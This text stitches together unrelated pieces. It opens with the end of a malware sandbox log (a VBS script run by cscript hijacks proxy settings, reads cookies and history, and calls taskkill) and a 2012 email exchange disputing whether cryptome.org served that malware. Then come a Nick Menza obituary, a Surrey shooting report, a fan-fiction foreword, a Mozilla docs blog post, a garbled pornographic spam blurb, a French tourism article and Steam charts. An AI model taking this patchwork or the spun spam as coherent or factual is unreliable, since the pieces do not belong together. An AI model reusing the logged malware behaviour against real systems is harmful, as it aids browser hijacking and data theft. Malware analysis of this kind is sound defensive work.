\REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"UNCAsIntranet" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"AutoDetect" = 0x00000001 2464 Mutex \BaseNamedObjects\ZoneAttributeCacheCounterMutex 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"ProxyBypass" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"IntranetName" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"UNCAsIntranet" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"AutoDetect" = 0x00000001 2464 Process Started C:\WINDOWS\system32\cscript.exe Packed: no GUI: no Parentname: C:\WINDOWS\system32\cmd.exe Command Line: "C:\WINDOWS\System32\CScript.exe" //nologo "C:\DOCUME~1\ADMINI~1\ LOCALS~1\Temp\l.vbs" 2492 2464 Network Connected Protocol Type: udp Destination Port: 1057 IP Address: 127.0.0.1 Imagepath: C:\WINDOWS\system32\cscript.exe 2492 Network Connect Protocol Type: tcp Destination Port: 8080 IP Address: 10.0.0.2 Imagepath: C:\WINDOWS\system32\cscript.exe 2492 Mutex \BaseNamedObjects\SHIMLIB_LOG_MUTEX 2492 Mutex Imagepath: C:\WINDOWS\system32\cscript.exe 2492 File Open C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.da t 2492 458752 Folder Open C:\Documents and Settings\Administrator\Cookies 2492 File Open C:\Documents and Settings\Administrator\Cookies\index.dat 2492 32768 File Open C:\Documents and Settings\Administrator\Local Settings\History\History.IE5\ index.dat 2492 81920 Mutex Imagepath: C:\WINDOWS\system32\cscript.exe 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\"ProxyEnable" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software Microsoft\Windows\CurrentVersion \Internet Settings\Connections\"SavedLegacySettings" = 46 00 00 00 08 04 00 00 03 00 00 00 0d 00 00 00 31 30 2e 30 2e 30 2e 32 3a 38 30 38 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2492 Mutex \BaseNamedObjects\ZoneAttributeCacheCounterMutex 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"ProxyBypass" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"IntranetName" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"UNCAsIntranet" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"AutoDetect" = 0x00000001 2492 Mutex \BaseNamedObjects\ZoneAttributeCacheCounterMutex 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"ProxyBypass" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"IntranetName" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"UNCAsIntranet" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"AutoDetect" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\"ProxyEnable" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\Connections\"SavedLegacySettings" = 46 00 00 00 09 04 00 00 03 00 00 00 0d 00 00 00 31 30 2e 30 2e 30 2e 32 3a 38 30 38 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2492 File Open C:\Documents and Settings\Administrator\Cookies\administrator[at}cryptome [1].txt MD5: ed4a45a7588fad273b23c6e409593c56 SHA1: 6bfdb93fffa62e01d97a724e6a56c15242b54d6b 2492 72 File Created C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\OXYNKLQB \hcp_vbs[1].jpg 2492 File Close C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\OXYNKLQB \hcp_vbs[1].jpg MD5: 3ac9a0c8a8a5ec6d3aba629bf66f9fb1 SHA1: 5b8d4280ff6fc9c8e1b9593cbaeb04a29e64a81e 2492 28672 File Overwritten C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\l.vbs MD5: df2ce7c80bd3f1170b46c3adb4d6c6eb SHA1: 4389878cb1c3e83abac7817336a55834b9d845b1 2492 349 File Close C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\l.vbs MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 2492 349 Process Terminated C:\WINDOWS\system32\cscript.exe Parentname: C:\WINDOWS\system32\cmd.exe 2492 2464 Process Started C:\WINDOWS\system32\taskkill.exe Packed: no GUI: no Parentname: C:\WINDOWS\system32\cmd.exe 2628 2464 Malicious Alert Misc Anomaly Message: External process termination Detail: Malware trying to terminate an external process Mutex \BaseNamedObjects\SHIMLIB_LOG_MUTEX 2628 Mutex Imagepath: C:\WINDOWS\system32\taskkill.exe 2628 Mutex Imagepath: C:\WINDOWS\system32\taskkill.exe 2628 Process Terminated C:\WINDOWS\system32\taskkill.exe Parentname: C:\WINDOWS\system32\cmd.exe 2628 2464 End Of Report CONFIDENTIALITY NOTICE: This communication and any accompanying document(s) are confidential and privileged. They are intended for the sole use of the addressee. If you receive this transmission in error, you are advised that any disclosure, copying, distribution, or the taking of any action in reliance upon the communication is strictly prohibited. Moreover, any such inadvertent disclosure shall not compromise or waive the attorney-client privilege as to this communication or otherwise. If you have received this communication in error, please contact our IS Department at its Internet email address (is[at}downeybrand.com), or by telephone at (916)444-1000 x5325. Thank you. Content-Type: image/jpeg; name="Picture (Metafile) 1.jpg" Content-Description: Picture (Metafile) 1.jpg Content-Disposition: inline; filename="Picture (Metafile) 1.jpg"; creation-date=Mon, 12 Mar 2012 11:14:22 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <2ad727ec-6788-43a1-8dcc-56c0dd025de6> [] Picture (Metafile) 1.jpg Content-Type: image/jpeg; name="Picture (Metafile) 2.jpg" Content-Description: Picture (Metafile) 2.jpg Content-Disposition: inline; filename="Picture (Metafile) 2.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <8c7bab9f-3f34-4eff-82d5-2e7ea27d451e> [] Picture (Metafile) 2.jpg Content-Type: image/jpeg; name="Picture (Metafile) 3.jpg" Content-Description: Picture (Metafile) 3.jpg Content-Disposition: inline; filename="Picture (Metafile) 3.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <d4415c52-cfa6-4204-90dc-0164435e2d5e> [] Picture (Metafile) 3.jpg Content-Type: image/jpeg; name="Picture (Metafile) 4.jpg" Content-Description: Picture (Metafile) 4.jpg Content-Disposition: inline; filename="Picture (Metafile) 4.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <e3d351f1-7342-4885-9791-22e22d997016> [] Picture (Metafile) 4.jpg Content-Type: image/jpeg; name="Picture (Metafile) 5.jpg" Content-Description: Picture (Metafile) 5.jpg Content-Disposition: inline; filename="Picture (Metafile) 5.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <b33eba00-1ae1-4f4f-934c-67b5e3cb6000> [] Picture (Metafile) 5.jpg Content-Type: image/jpeg; name="Picture (Metafile) 6.jpg" Content-Description: Picture (Metafile) 6.jpg Content-Disposition: inline; filename="Picture (Metafile) 6.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <864e1689-1f94-4b4f-8ff4-aa70b9d95074> [] Picture (Metafile) 6.jpg Content-Type: image/jpeg; name="Picture (Metafile) 7.jpg" Content-Description: Picture (Metafile) 7.jpg Content-Disposition: inline; filename="Picture (Metafile) 7.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <18b3ef02-ec42-4243-9582-dd4713612764> [] Picture (Metafile) 7.jpg Content-Type: image/jpeg; name="Picture (Metafile) 8.jpg" Content-Description: Picture (Metafile) 8.jpg Content-Disposition: inline; filename="Picture (Metafile) 8.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <92f30079-2c46-4e93-a315-cd058d392838> [] Picture (Metafile) 8.jpg Message No. 2 from IT person: From: "Wiley, Steve" <swiley[at}DowneyBrand.com> To: 'John Young' <jya[at}pipeline.com> CC: "'noc[at}networksolutions.com'" <noc[at}networksolutions.com>, "'abuse[at}networksolutions.com'" <abuse[at}networksolutions.com> Date: Mon, 12 Mar 2012 11:58:32 -0700 Subject: RE: Infected host at IP 205.178.145.72 cryptome.org Denial is easy, finding this will take a professional. The malicious binary was transmitted by your server and the activity below was recorded. Websense, FireEye, and Trend Micro all point to your IP as the infection source - independent alarms went off simultaneously. That is three large, disparate security companies pointing at you. The PCAP proves a BINARY was transmitted FROM YOUR SERVER. What more do you need? Kind regards, Steve Wiley Network Operations Manager DOWNEY BRAND 621 Capitol Mall, 18th Floor Sacramento, CA 95814 916/520-5269 Direct 916/520-5669 Fax swiley[at}downeybrand.com http://www.downeybrand.com From: John Young [mailto:jya[at}pipeline.com] Sent: Monday, March 12, 2012 11:53 AM To: Wiley, Steve Cc: 'noc[at}networksolutions.com'; 'abuse[at}networksolutions.com' Subject: Re: Infected host at IP 205.178.145.72 cryptome.org There are no malicious binaries nor infection in the files cited. Only one of the files cited exists, blm042808.htm, and it is has been checked and found clean. Most of the files cited do not exist and appear generated by a rogue attack algorithm. Our access log shows several such attacks and probes for vulnerabilities. An attacker may be using your email to spread misinformation or using your computer system to mount remote attacks. Much of your message arrived as gibberish which may indicate it is a forgery. Nasty stuff on the net and rapidly increasing. Best regards, John Young Administrator Cryptome.org Message No. 3 from IT person: From: "Wiley, Steve" <swiley[at}DowneyBrand.com> To: 'John Young' <jya[at}pipeline.com> CC: "'noc[at}networksolutions.com'" <noc[at}networksolutions.com>, "'abuse[at}networksolutions.com'" <abuse[at}networksolutions.com> Date: Mon, 12 Mar 2012 12:06:55 -0700 Subject: RE: Infected host at IP 205.178.145.72 cryptome.org Here is some PRO HELP. The Sucuri scanner also shows you infected. [] We have a log of everything that happened. My user opened a new browser, went to Google and did a GOOGLE SEARCH for BLM NEPA A link from your site comes up as the fourth or fifth hit. My user clicked this link. Fit hit the shan. The malware may only present itself when the referer is Google. If you are brave, perform the same search and click the link from a clean machine ready for malware reasearch (get your HTTPwatch ready) from a PUBLIC IP THAT HAS NEVER VISITED YOUR SERVER because these hackers are known to record IPs and dish out malware selectively to prevent followup security research from IPs of visitors that they try to infect.
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{
"pile_set_name": "OpenWebText2"
}
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Former MEGADETH drummer Nick Menza passed away Saturday night (May 21) while performing with the band OHM: at The Baked Potato in Studio City, California. He was 51 years old.
Nick collapsed during the third song of OHM:'s set. Earliest reports indicate he suffered a massive heart attack and was pronounced dead upon arrival at hospital. No other details are being released at this time.
One person who was present at The Baked Potato last night told BLABBERMOUTH.NET: "It appeared to be a seizure but [Nick] stopped breathing. Two patrons took over and began CPR until EMS arrived. EMS worked on him for 25-plus minutes, including adrenaline shots, three shocks and non-stop compressions."
OHM:'s manager Steve Bauer told CNN: "The group's bassist texted me last night after it happened. We are all still in shock."
Nick's biographer and friend J. Marshall Craig said: "We ask for prayers for Nick's family, his family, and especially his two sons and their mother, Teri.
"He just spent nearly two weeks with the boys in the Pacific Northwest and was absolutely glowing. He was scheduled to fly to my home in Cape Cod tomorrow so that we could finish the comic-book version of the book we wrote on his life, 'MenzaLife', both of which were slated for release late next month. This morning we are all too numb to think about anything but Nick's family.”
Nick's manager Robert Bolger said: "Along with your prayers and wonderful thoughts and memories of this incredible man and musician, we ask that fans respect his family’s need for privacy at this absolutely tragic time."
Menza's friend Allen Hall wrote on Facebook: "We lost an amazing talent and fantastic person yesterday. Nick Menza was the nicest and most sincere guy you should ever hope to meet.
"He would take the shirt off his back to help you if you needed it. He had a passion for artwork, not just metal music.
"Nick, you were taken too soon, it must have been a mistake, the world was a better place with you in it. I will miss you dearly my friend."
MEGADETH mainman Dave Mustaine tweeted: "Tell me this isn't true. I woke at 4am to hear Nick Menza passed away on May 21 playing his drums with Ohm at the Baked Potato. #nickmenzarip."
Mustaine's son, Justis, also paid tribute to Nick on Twitter, saying: "Rest in peace Nick Menza."
A Facebook post from The Baked Potato stated simply: "RIP Nick Menza."
MEGADETH bassist David Ellefson wrote on Facebook: "Condolences to the Nick Menza family and friends. We have lost a gentle giant... A true artist and friend to us all."
Former MEGADETH guitarist Marty Friedman said in a Facebook post: "We all know the great and unique drummer that Nick Menza was, but he was also a trustworthy friend, a hilarious bandmate, as well as a very loving dad. I'm beyond sad. [I] did not see this coming at all. RIP brother."
Ex-MEGADETH guitarist Glen Drover said: "I'm super shocked after reading the news about Nick last night. As some of you know, it was me, Nick, Dave [Mustaine], and Jimmy Macdonough in 2004, who became the first lineup of MEGADETH after the original breakup in 2001. Although it was short lived (with my brother Shawn taking over for Nick), it was nice playing and getting to know him a little for that very brief period. He seemed like a good guy. Very quiet, and what I remember most is that when he played drums, he used ride cymbals for his crashes. For those who don’t know, it's very, very loud!!!!! But it's okay; I still have some of my hearing intact. Ha."
Menza joined MEGADETH for the 1989 recording "Rust In Peace" and for the next nine years became associated with the band's "classic" and most profitable era.
He claimed in a 2015 interview that the attempted reunion of the "Rust In Peace" lineup failed to materialize because Dave Mustaine "didn't wanna show me any love at all."
The drummer said that he was approached by Mustaine and bassist David Ellefson to replace Shawn Drover at the end of 2014, and that he had started working out new tracks with the band. But the plan collapsed after he was offered a contract he described as "very unfair."
In addition to Menza, OHM: featured another ex-MEGADETH member, guitarist Chris Poland.
Menza joined OHM: last year after the passing of the band's previous drummer, David Eagle, who suffered a heart attack and had open-heart surgery in May 2015.
Last week, it was announced that Nick would unveil an art collection crafted from the new medium of "rhythm-on-canvas" on June 16.
Menza had been working with art team and publisher SceneFour on the collection titled "Rhythm Hits The Wall".
TELL ME THIS ISN'T TRUE! I woke at 4 AM to hear Nick Menza passed away on 5/21 playing his drums w/Ohm at the Baked Potato. #nickmenzarip — Dave Mustaine (@DaveMustaine) May 22, 2016
Condolences to the Nick Menza family and friends. We have lost a gentle giant... A true artist and friend to us all. #ripnickmenza — David Ellefson (@ellefsondavid) May 22, 2016
We all know the great and unique drummer that Nick Menza was, but he was also a trustworthy friend, a hilarious... https://t.co/Fyhj5aQ72o — Marty Friedman (@marty_friedman) May 22, 2016
Rest In Peace Nick Menza — Justis Mustaine (@Justis_Mustaine) May 22, 2016
Pictured below: Nick Menza on May 20
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Police in Surrey, B.C., were continuing the hunt Thursday morning for a suspect wanted in connection with the shooting of a transit officer.
RCMP say the injured officer, identified as Josh Harms, 27, was on regular patrol duty Wednesday when a suspect shot him on the platform of the Scott Road SkyTrain station around 4:20 p.m. PT.
Harms was taken to hospital with non life-threatening injuries.
Police are using dogs to search for the suspect, who may be armed. At least 80 officers are involved in the search.
'Stay inside … lock your doors'
They have zeroed in on two areas in Surrey, which they have cordoned off; one from from King George Boulevard to 114th Avenue, and another from 125a Street to 124 Street.
Police are asking people to avoid these areas, stay indoors and leave on a light on their front porch.
A picture of the suspect was released by Surrey RCMP. (RCMP)
"We are asking you to stay inside and to lock your doors," said Surrey RCMP assistant commissioner Dwayne McDonald.
The suspect is described as a male in his 20s, with dark skin, a dark stubble goatee and a mustache. He was last seen wearing a blue sweatshirt jacket and white Nike running shoes with a black swoosh.
Surrey RCMP released this surveillance footage of the man suspected of shooting a transit officer on Jan. 30. 0:14
Police say they are canvassing video taken at the scene of the shooting, and interviewing multiple witnesses.
They're also warning members of the public that if they spot the suspect, he should not be approached and they should call 911.
Schools, residences on lockdown
Because of the search, police took measures to secure nearby residences and a school where 25 people, including 15 students, 10 teachers and parents, were attending an after-school program when the shooting occurred, said Doug Strachan with the Surrey School District.
The protocol put into place at Bridgeview Elementary School meant everyone was required to stay inside the school and lock the doors, but activities carried on.
Police gave the all-clear at 8:30 p.m. PT and people were permitted to leave.
Scott Road SkyTrain station re-opened later Wednesday evening.
The officer is expected to make a full recovery. 0:53
Sgt. Clint Hampton, a spokesperson for Transit Police, said Harms is expected to recover.
Hampton says he knows Harms well and described the event as "shocking."
McDonald said he checked in with Harms earlier Wednesday evening.
"He was in good spirits," McDonald said. Harms has been with the Metro Vancouver Transit Police force for three years.
Meanwhile, police detachments across the country expressed their support for the officer on Twitter.
Our thoughts <a href="https://twitter.com/VancouverPD?ref_src=twsrc%5Etfw">@VancouverPD</a> are with the shot <a href="https://twitter.com/hashtag/TransitPolice?src=hash&ref_src=twsrc%5Etfw">#TransitPolice</a> Officer, his family & our <a href="https://twitter.com/hashtag/MVTP?src=hash&ref_src=twsrc%5Etfw">#MVTP</a> police brothers & sisters - <a href="https://twitter.com/hashtag/VPD?src=hash&ref_src=twsrc%5Etfw">#VPD</a> is in contact with <a href="https://twitter.com/TransitPolice?ref_src=twsrc%5Etfw">@TransitPolice</a> & has offered assistance with whatever they need <a href="https://twitter.com/ChiefKross?ref_src=twsrc%5Etfw">@ChiefKross</a> <a href="https://t.co/k1l3rPGyNT">https://t.co/k1l3rPGyNT</a> —@ChiefPalmer
Our thoughts are with the family, friends and colleagues of the Vancouver <a href="https://twitter.com/TransitPolice?ref_src=twsrc%5Etfw">@TransitPolice</a> officer who was shot while on duty this afternoon. —@CalgaryPolice
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For We Are Many
Foreword
For We Are Many is the direct sequel to The Darkest Night, and indeed begins about twenty minutes after the Epilogue of that first work. This piece is, in essence, a Mass Effect 2 redux, with some canonical items changed around to incorporate a slightly altered plotline. You'll see many references to things from The Darkest Night, as I intend for my works to not only stand alone, but also all be parts of one large, overarching series, utilizing the same characters and plot developments.
Ergo, if you haven't read The Darkest Night, I'd start there. =)
Dedication:
This work is dedicated in equal measure to four people. In no specific order, they are:
Calinstel
Tairis Deamhan
Andrio
Rose Tinted Contact Lenses
Without their wonderful contributions to this site, my work wouldn't exist. I've drawn inspiration from Calinstel's rich quarian lore and language, as well as Rose's ability to completely invade a character's mind, and describe in excellent detail, and so few words, exactly what that character is thinking, how they're reacting to the situation at hand. I've drawn from Tairis' ability to broaden the scope of a widely known but not terribly fleshed out side-plot, and Andrio's capability to masterfully trace a character arc over a huge period of time, while at the same time keeping that character ever someone the reader can relate to.
These four were my main inspiration for starting work on The Darkest Night, but every so often I find an author who can at the very least show me a side of this wonderful universe I haven't seen before. If you're wondering whether or not to start writing, just start writing, and see what happens. The worst you could do is waste a couple hours trying to reinvent the wheel. The best you could do...well I personally feel that's listed above, within the works of the people I've mentioned. (=D)
Right, then. Enough raving about people who write better than I do (=D). To all of those joining me from The Darkest Night, welcome back! I hope the "break" wasn't too much of a strain (=P). And to anyone just joining, welcome as well, I feel you're in for a real treat!
As of the time of writing this Foreword (1:21am U.S. EST 10/24/11), I still have a good bit of Java Programming homework left to finish off. Expect the Prologue up probably around this time tomorrow. Can you live for 24 hours? I know it'll be rough for me!
Oh and for anyone concerned, expect the same pace as before, with about four times the content to write. (=D)
Let's get this party started. Happy Reading!
~venomRED
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I’ve been writing developer documentation for 20 years now, 11 of those years at Mozilla. For most of those years, documentation work was largely unmanaged. That is to say, we had management, and we had goals, but how we reached those goals was entirely up to us. This worked well for me in particular. My brain is like a simple maze bot in some respects, following all the left turns until it reaches a dead end, then backing up to where it made the last turn and taking the next path to the right, and repeating until the goal has been reached.
This is how I wrote for a good 14 or 15 years of my career. I’d start writing about a topic, linking to APIs, functions, other guides and tutorials, and so forth along the way—whether they already existed or not. Then I’d go back through the page and click the first link on the page I just created, and I’d make sure that that page was solid. Any material on that page that needed to be fixed for my new work to be 100% understood, I’d update. If there were any broken links, I’d fix them, creating and writing new pages as needed, and so forth.
How my mind wants to do it
Let’s imagine that the standards gurus have spoken and have decided to add to a new <dial> element to HTML, providing support for creating knobs and speedometer-style feedback displays. My job is to document this element.
I start by creating the main article in the HTML reference for <dial >, and I write that material, starting with a summary (which may include references to <progress> , <input> , and other elements and pages). It may also include links to articles I plan to create, such as “Using dial elements” and “Displaying information in HTML” as well as articles on forms.
As I continue, I may wind up with links to subpages which need to be created; I’ll also wind up with a link to the documentation for the HTMLDialElement interface, which obviously hasn’t been written yet. I also will have links to subpages of that, as well as perhaps for other elements’ attributes and methods.
Having finished the document for <dial> , I save it, review it and clean it up, then I start following all the links on the page. Any links that take me to a page that needs to be written, I write it. Any links that take me to a page that needs content added because of the new element, I expand them. Any links that take me to a page that is just horribly unusably bad, I update or rewrite as needed. And I continue to follow those left-hand turns, writing or updating article after article, until eventually I wind up back where I started.
If one of those pages is missing an example, odds are good it’ll be hard to resist creating one, although if it will take more than a few minutes, this is where I’m likely to reluctantly flag it for someone else to do later, unless it’s really interesting and I am just that intrigued.
By the time I’m done documenting <dial> , I may also have updated badly out of date documentation for three other elements and their interfaces, written pages about how to decide on the best way to represent your data, added documentation for another undocumented element that has nothing to do with anything but it was a dead link I saw along the way, updated another element’s documentation because that page was where I happened to go to look at the correct way to structure something, and I saw it had layout problems…
You get the idea.
How I have to do it now
Unfortunately, I can’t realistically do that anymore. We have adopted a system of sprints with planned work for each sprint. Failing to complete the work in the expected amount of time tends to get you dirty looks from more and more people the longer it goes on. Even though I’m getting a ton accomplished, it doesn’t count if it’s not on the sprint plan.
So I try to force myself to work on only the stuff directly related to the sprint we’re doing. But sometimes the line is hard to find. If I add documentation for an interface, but the documentation for its parent interface is terrible, it seems to me that updating that parent interface is a fairly obvious part of my job for the sprint. But it wasn’t budgeted into the time available, so if I do it, I’m not going to finish in time.
The conundrum
That leaves me in a bind: do strictly what I’m supposed to do, leaving behind docs that are only partly usable, or follow at least some of those links into pages that need help before the new content is truly usable and “complete,” but risk missing my expected schedule.
I almost always choose the latter, going in knowing I’m going to be late because of it. I try to control my tendency to keep making left turns, but sometimes I lose myself in the work and write stuff I am not expected to be doing right now.
Worse, though, is that the effort of restraining myself to just writing what’s expected is unnatural to me. My brain rebels a bit, and I’m quite sure my overall throughput is somewhat lower because of it. As a result: a less enjoyable writing experience for me, less overall content created, and unmet goals.
I wonder, sometimes, how my work results would look if I were able to cut loose and just go again. I know I have other issues slowing me down (see my earlier blog post Peripheral neuropathy and me), but I can’t help wondering if I could be more productive by working how I think, instead of doing what doesn’t come naturally: work on a single thing from A to Z without any deviation at all for any reason.
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Jism-covered Hotwife Vengeance
Mary discovered one thing in her bf's telephone that were given her indeed dissatisfied and now this vindictive blond is gonna have her wild vengeance in this hotwife willy. Nursling has him eyes covered and duct-taped to a iron publish and when a blindfold comes off the scanty stud observes his stunner with every other stud who evidently got here to pound her. Rattling, sprout does it proper in entrance of his eyes and shamelessly takes a money-shot on her ultra-cute tiny mammories. Vengeance dostared!
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Le Musée du Louvre, en avril 2015. Thibault Camus / AP
Après plus de deux ans de hausse, l’activité touristique a nettement reculé en France au premier trimestre, « probablement » à cause du mouvement social des « gilets jaunes », selon l’Institut national de la statistique et des études économiques (Insee).
Pour les trois premiers mois de l’année, la fréquentation des hébergements collectifs touristiques – exprimée en nuitées – a baissé de 2,5 % sur le territoire, comparé à la même période de 2018, selon des chiffres provisoires publiés jeudi 9 mai. Si ce recul est plus marqué pour les touristes étrangers (– 4,8 %) que pour les touristes français (« résidents », – 1,5 %), il concerne les deux clientèles. Il contraste fortement avec le trimestre précédent, marqué par une hausse de 2 %, et met un terme à « plus de deux ans de hausse continue de la fréquentation touristique », observe l’Insee.
Article réservé à nos abonnés Lire aussi L’effet « gilets jaunes » menace la reprise du tourisme
Seuls les hôtels 4 et 5 étoiles tirent leur épingle du jeu
Cette hausse avait abouti à un record de fréquentation touristique en 2018 dans l’Hexagone, avec plus de 438 millions de nuitées, un chiffre en hausse de 2,4 % comparé à l’année précédente.
Le tourisme avait commencé à reprendre des couleurs depuis la chute de fréquentation qui a suivi les attentats du 13-Novembre Nombre de nuitées dans l'hôtellerie Source : Insee Source :
Quant à la fréquentation hôtelière, elle recule de 1,3 % de janvier à mars 2019, comparé à la même période un an plus tôt, après une hausse de 1,5 % au trimestre précédent. Seuls les hôtels haut de gamme, 4 et 5 étoiles, tirent leur épingle du jeu en maintenant leur niveau de fréquentation. Là encore, cette baisse met un terme à « une progression continue depuis le quatrième trimestre 2016 », et elle est plus marquée du côté des touristes étrangers (– 3,4 %), alors que celle des Français ne s’effrite que de 0,4 %.
Les hôtels haut de gamme attirent toujours autant de touristes, contrairement aux 1 et 2 étoiles Nombre de nuitées au premier trimestre dans l'hôtellerie Source : Insee Source :
Paris moins attractive
C’est en Ile-de-France que les nuitées hôtelières « diminuent nettement » (– 4,6 %), pour les touristes étrangers comme pour ceux issus du territoire national, « probablement en lien avec le mouvement social des “gilets jaunes” », affirme l’Insee, tandis que dans les villes de province, la baisse n’est que de 0,8 % pour les deux catégories.
Le tourisme décroche légèrement en mars, par rapport à l'année précédente Nombre de nuitées en hôtellerie Source : Insee Source :
En revanche la fréquentation des touristes étrangers est restée dynamique dans les massifs de ski (+ 4,2 %), alors que celle des Français chutait de 3,1 %. Ces derniers ont souvent opté pour le littoral (+ 4,8 %) afin de profiter des « conditions météorologiques très clémentes » du début d’année, dit l’Insee.
Quant à la fréquentation des autres hébergements collectifs touristiques (résidences de tourisme, villages de vacances, maisons familiales, auberges de jeunesse), elle chute de 4,5 % alors qu’elle avait progressé de 3,6 % au trimestre précédent, sur un an. En pleine saison des sports d’hiver, la fréquentation de ces hébergements a chuté dans les massifs de ski : – 7,6 % pour les touristes français et – 8,2 % pour les étrangers.
Pour les trois premiers mois de l’année, l’Ile-de-France a représenté plus du tiers (36 %) des nuitées hôtelières et environ 12 % des nuitées en hébergements collectifs du territoire national.
Le Monde avec AFP
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Every week PCGamesN recount the highest performing titles on Valve’s platform, from the ten Steam top sellers to the Steam games with the most concurrent players. Why? Because knowing what games people are flocking to is useful for discovering new titles and reminding us of the ones we really ought to have tried by now.
The first portion of this weekly roundup focuses on Steam sales – that is to say the games and DLC that are selling like proverbial hot cakes. We pull these entries from the Steam store itself, under the global top sellers page. The second part of our Steam charts rundown looks at concurrent players, which gives us some insight into the most played games of the past week.
This week sees No Man’s Sky take top spot, not to mention two Sword Art Online games in the top ten best-sellers. The good news doesn’t stop there for No Man’s Sky either, which also grabs a spot in the most played games on Steam. Join us as we list the top ten games for each category along with a brief analysis of the week’s biggest surprises.
Steam top sellers
Here are the Steam top sellers, week ending July 27th:
No Man’s Sky
PUBG
Monster Hunter: World
GTA 5
Monster Hunter: World Deluxe Edition
Vampyr
Rocket League
CSGO
Sword Art Online: Hollow Realization Deluxe Edition
Sword Art Online: Fatal Bullet
PUBG has been pushed to second place this week thanks to the highly anticipated No Man’s Sky NEXT update, which adds what many thought would be in the game from the start: multiplayer. It’s also 50% off, so it’s not too surprising the 2016 space game is having a resurgence. Third and fifth spot are occupied by Monster Hunter: World and its Deluxe Edition – that’s three weeks on the trot that pre-orders for Monster Hunter: world have placed in the Steam charts so Capcom must be pretty happy with their decision to bring the series to PC. GTA 5 is nestled between the two; it’s selling strongly off the back of a major Online update and 34% price reduction.
Vampyr takes sixth place thanks to a delectable 25% off sale, which is enough to place it higher than chart stalwarts Rocket League and CS:GO, which grab seventh and eighth spot respectively. The final two places go to Sword Art Online: Hollow Realization Deluxe Edition and Sword Art Online: Fatal Bullet – the former is 50% off, while Fatal Bullet boasts a 40% price reduction.
Steam charts by concurrent players
Here are the most played games on Steam, week ending July 27th:
PUBG
Dota 2
CS:GO
GTA 5
Warframe
Rainbow Six Siege
No Man’s Sky
Team Fortress 2
Football Manager 2018
Ark: Survival Evolved
